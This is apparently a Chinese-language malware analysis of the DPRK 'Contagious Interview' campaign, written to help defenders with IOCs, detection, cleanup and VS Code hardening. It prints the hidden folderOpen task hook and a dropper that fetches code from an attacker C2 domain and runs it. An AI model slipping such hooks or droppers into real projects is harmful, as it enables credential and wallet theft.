VS Code Tasks Abuse by Contagious Interview (DPRK) 技术分析
概述
本文档分析了与朝鲜(DPRK)"Contagious Interview"活动相关的恶意代码仓库。该恶意软件通过嵌入 VS Code 任务执行钩子以及常规 npm 应用执行恶意 fetch 来攻击开发者。
该攻击采用"双栈"架构:
- Node.js 层:感染后立即执行,窃取凭据、记录按键,并在
.npm目录中建立隐蔽的 RAT - Python 层:下载二级基础设施,用于长期监控、加密钱包窃取和加密货币挖矿
感染向量通常是通过 LinkedIn 分发的"带回家"技术评估恶意仓库。在某些情况下,目标安全研究员或公司开发人员会被合作提案引诱,请求代码审查。威胁行为者利用被入侵或伪造的高粉丝数个人资料冒充知名组织的招聘人员和业务开发人员。
根据 SEAL 的报告,上个月有三名受害者向其寻求帮助,每位受害者的联系方式相同,都遭受了重大经济损失。虽然受害者都没有直接执行代码,但都在 VS Code 实例中启用了"受信任工作区"——无论是手动检查代码还是允许 AI 工具进行检查。每次攻击都遵循下述相同的 IOCs 和 TTPs。此外,每个恶意仓库的 GitHub 提交历史都指向 KST+9(韩国)时区设置。
Python 恶意软件是已知的 InvisibleFerret 变体,而 Node.js 层是同样流行的 BeaverTail。本文映射了两个执行层留下的所有文件系统痕迹,并为开发者提供了限制 VS Code 攻击面和执行过去感染迹象检查的说明。
攻击流程架构图

DPRK 威胁行为者身份与社会工程方法
受害者最初在 LinkedIn 上被名为 "John Meltzer" 的 Meta2140 项目 CTO 联系。受害者获得一个指向 Notion.so 网站的链接,其中包含技术评估任务描述和托管恶意代码的 Bitbucket 仓库 URL。虽然受害者只是克隆了仓库而未执行它,但这足以触发 VS Code Task Hijack 攻击。"Meta2140"项目似乎完全由 DPRK 威胁行为者运营。发起联系的身份与恶意仓库提交消息的作者不同,但两者都声称是 "Meta2140" 的员工。此外,提交历史中发现的身份与 DPRK IT 工作者过去开发欺诈项目 "Ultra-X" 的努力有关联。这一发现使我们能够以中等到高度信心将一些正在进行的 Contagious Interview 活动归因于少数已知 DPRK IT 工作者,他们至少自 2024 年初以来在该领域活跃。
提交数据:
commit b38de9527e8ead69a8ead5ce52a9202d2b58b5b7 (HEAD -> main, origin/main, origin/HEAD)
Author: Pietro <[email protected]>
Date: Thu Jan 8 00:53:44 2026 +0900
feat(ui): add some fonts邮箱关联:[email protected], [email protected], [email protected]
基于部署恶意软件的结构和执行,我们认为该特定的 DPRK 威胁行为者集群优先考虑一次性数据、凭据和加密钱包窃取,而不是建立与受害者主机的持久连接。
初始访问与感染向量
恶意软件使用两个向量嵌入到仓库中。第三个向量恶意 npm 依赖在攻击时已从 npmjs 注册表中删除,很可能是攻击者意外留下的(过去活动的遗留物)。
A. VS Code Task Hijack
更复杂/新颖的向量涉及 .vscode/tasks.json。一个名为 eslint-check 的隐藏任务配置了 runOn: folderOpen。它执行一个伪装成字体的 JavaScript 文件。
文件: .vscode/tasks.json
{
"label": "eslint-check",
"type": "shell",
"command": "node public/font/fa-brands-regular.woff2",
"runOptions": {
"runOn": "folderOpen"
}
}B. Application Logic Hook
如果 VS Code 向量失败,恶意软件会挂钩应用程序的运行时。文件 server/routes/api/profile.js 包含一个 getPassport 函数。当开发人员运行服务器并且该函数触发时,感染开始。
文件: server/routes/api/profile.js
const domain = "chainlink-api-v3.com";
const subdomain = "api/service/token"
const errorHandler = (error) => {
try {
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) { return null; }
};
const handlerFunc = createHandler(error);
if (handlerFunc) { handlerFunc(require); }
} catch (globalError) { }
};
const id = "b2040f01294c183945fdbe487022cf8e";
const getPassport = () => {
axios.get(`http://${domain}/${subdomain}/${id}`)
.then(res => res.data)
.catch(err => errorHandler(err.response.data || "404"));
}C. Malicious Dependency
恶意软件还尝试使用 npm install 安装恶意依赖 grayavatar。该依赖请求使用 child_process 的 shell 访问来执行混淆的 JavaScript 代码。
Stage 1: "Error Handler" Dropper
初始 JavaScript 有效负载(在假字体和 profile.js 中找到)联系 C2 域(chainlink-api-v3.com)。
服务器故意返回非 200 错误代码(例如 404)。脚本捕获错误响应体,其中包含实际的恶意代码,并使用 new Function() 执行它。
Dropper 逻辑:
const errorHandler = (error) => {
try {
const createHandler = (errCode) => {
const handler = new (Function.constructor)('require', errCode);
return handler;
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
}
} catch (globalError) {}
};Stage 2: 内存中 Node.js 控制器
在 Stage 1 中获取的有效负载是一个完全在内存中执行的复杂 Node.js 控制器。它不会立即写入磁盘。其作用是立即窃取数据并部署二级 Python 基础设施。它执行五个不同的模块:
1. 键盘记录器和屏幕截图工具
安装 node-global-key-listener 和 screenshot-desktop。它捕获按键并在鼠标点击或按下 Enter 键时截取屏幕截图,将它们上传到 172.86.116.178。
2. 文件抓取器
扫描用户主目录中的敏感文件(.env, .ssh, wallet, secret, .config)。它专门针对开发人员机密和配置文件。
该模块递归扫描浏览器扩展目录,专门寻找扩展 ID(例如 nkbihfbeogaeaoehlefnkodbefgpgknn)。为了准备窃取,它将活动的 LevelDB 数据库文件复制到隐藏的临时目录 ~/.n3/
3. 剪贴板劫持器
监控系统剪贴板中的加密货币地址。它运行一个循环检查 pbpaste(macOS)或 powershell Get-Clipboard(Windows)。
4. 浏览器窃取器
针对 Chrome、Brave 和 Opera 的本地数据库文件。它专门寻找 Login Data 和 Web Data SQLite 文件。
5. Node.js RAT
使用 socket.io-client 建立与 C2 服务器的持久连接。这允许攻击者在受感染的机器上执行任意 shell 命令。
Stage 3: Python Stager (.nlp)
在部署 Node.js 模块后,恶意软件尝试建立并行的 Python 环境。这由检测为 .nlp(在 Linux/Mac 上)的 stager 脚本处理。
所有 Python 有效负载都使用嵌套的 base64 编码和 zlib 压缩进行混淆。这是一种不复杂的技术,唯一目的是从静态分析器中混淆有效负载。
此脚本通过安装 requests、创建隐藏目录 ~/.n2 并下载最后两个 Python 有效负载 way 和 pow 来准备系统。
Stage 4: Python 有效负载
.nlp stager 将两个特定模块放入隐藏目录 ~/.n2。
模块 A: RAT & 钱包窃取器 (way.py)
这是主要的数据收集工具。它连接到 Cluster A (146.70.253.107:2242) C2。
功能:
- 浏览器终止:强制终止 chrome 和 brave 进程。这释放 LevelDB 数据库上的文件系统锁,允许 Node.js 组件成功地将钱包数据复制到临时目录
~/.n3 - AnyDesk:可以下载并执行 AnyDesk (
ssh_any) 以进行 GUI 远程访问 - 键盘记录:使用
pyWinhook(仅 Windows)进行二级键盘记录
模块 B: Miner & 持久化 (pow.py)
此脚本下载 XMRig 挖矿程序并尝试建立系统持久性。
此模块仅限 Windows。它在顶层尝试导入 winreg。在 Linux/macOS 上,此导入引发异常,导致脚本立即退出。因此,在 Linux 系统上通过此模块不会建立自动持久化或挖矿。
持久化与重新感染
场景 A: VS Code Task Hijack(磁盘持久化)
- 创建隐藏目录:
~/.npm/scoped_dir[TIMESTAMP]/ - 将Loader Script (
main.js) 写入磁盘 - 如果用户重新打开文件夹,任务将重新执行。删除的
main.js充当本地化持久化加载器
场景 B: Application Logic Hook(易变执行)
- 不创建
scoped_dir - 不写入
main.js - 有效负载使用
eval()逻辑立即在内存中执行 - 在 Linux/macOS 上,此状态是易变的。如果
npm start进程终止或机器重新启动,恶意软件将停止运行
Windows 持久化
恶意软件在 Windows 系统上使用双层持久化策略,由 pow.py 模块管理。它结合了经典的 Startup 文件夹放置和高级计划任务创建。
1. Startup 文件夹注入("Injector")
pow.py 的初始执行立即通过将 Python 脚本放入用户的 Startup 目录来建立持久性。此脚本伪装成系统维护工具。
- 位置:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ - 文件名:
Windows Update Script.pyw - 文件扩展名:
.pyw(无控制台窗口静默执行)
2. 计划任务劫持("Payload")
在 Startup 文件夹中删除的脚本(Windows Update Script.pyw)包含注册计划任务的次要逻辑。此任务确保即使删除了 Startup 项,恶意软件也会在用户登录时重新执行。
- 任务名称:
Runtime Broker(模仿合法的 Windows 进程RuntimeBroker.exe) - 触发器:
AtLogOn(用户登录时立即运行) - 执行目标:伪装成
%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exe的恶意可执行文件
3. Windows Defender 规避
为了防止持久文件被防病毒软件标记或删除,脚本执行 PowerShell 命令将其特定目录添加到 Windows Defender 排除列表。
4. 进程伪装
挖矿程序有效负载本身被下载并重命名为看起来像 Microsoft Edge 浏览器,以迷惑检查任务管理器的用户。
- 假名称:
msedge.exe - 位置:
%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exe
检测与清理
检测
- 检查隐藏目录:执行
ls -la ~/并检查.n2,.n3,.nlp或.npm - 检查 .npm:检查
~/.npm中是否存在非目录文件,如vhost.ctl或以scoped_dir开头的文件夹 - 进程列表:查找从
~/.npm运行的node进程或从~/.n2运行的python进程
清理
- 隔离:立即断开机器与网络的连接
- 凭据轮换(关键):
~/.n3的存在表明MetaMask/Crypto 钱包已准备好被窃取。立即从干净的设备将资金转移到新钱包(新的助记词)。轮换在.env文件中找到的所有 SSH 密钥和 API 令牌 清理:
- Linux/macOS:删除仓库和残留物(
rm -rf ~/.n2 ~/.n3 ~/.nlp ~/.npm/vhost.ctl ~/.npm/scoped_dir*)。终止恶意进程:pkill -f "node -e",pkill -f "python3 .*way",pkill -f "python3 .*pow"和/或重新启动机器以清除内存驻留的有效负载 - Windows:由于深度持久化(注册表、计划任务、Defender 排除),建议完全重新安装操作系统
- Linux/macOS:删除仓库和残留物(
无论恶意软件在哪个平台上执行,都建议完全重置操作系统。
VS Code 加固
在全局 settings.json 中放置以下内容(CTRL + SHIFT + P -> 'Preferences: Open User Settings'):
{
"task.allowAutomaticTasks": "off",
"security.workspace.trust.enabled": true,
"security.workspace.trust.untrustedFiles": "open",
"security.workspace.trust.emptyWindow": false
}如果存在上述设置,VS Code Tasks 将不会运行,即使启用了受信任工作区。
基础设施与 IOCs
| URL / IP | Path | Port | Function |
|---|---|---|---|
chainlink-api-v3.com | /api/service/token/... | 80 | Stage 1 & 5: 通过 Error 404 传递 JS 有效负载 |
146.70.253.107 | /client/5346/1014 | 1224 | Stage 2: 下载 Python Stager (.nlp) |
146.70.253.107 | /payload/5346/1014 | 1224 | Stage 3: 下载 RAT (way) |
146.70.253.107 | /brow/5346/1014 | 1224 | Stage 3: 下载 Miner (pow) |
146.70.253.107 | /keys | 2242 | RAT: 数据窃取和命令通道 |
172.86.116.178 | /api/service/process | 5918 | Node RAT: vhost.ctl 通信 |
172.86.116.178 | /upload | 5978 | 窃取: 屏幕截图/剪贴板上传 |
文件系统痕迹
~/.nlp(Python Stager 脚本)~/.n2/(包含way和pow的目录)~/.n3/(窃取文件的临时目录)~/.n2/flist(窃取文件日志 - 如果存在)~/.npm/vhost.ctl(Node RAT 的 PID 文件)~/.npm/npm-compiler.log(Clipper 的 PID 文件)~/.npm/scoped_dir*(隐藏的恶意 Node 模块)
发布时间: 2026-01-13
标签: DPRK, IT Workers, VS Code, Malware, Supply Chain Attack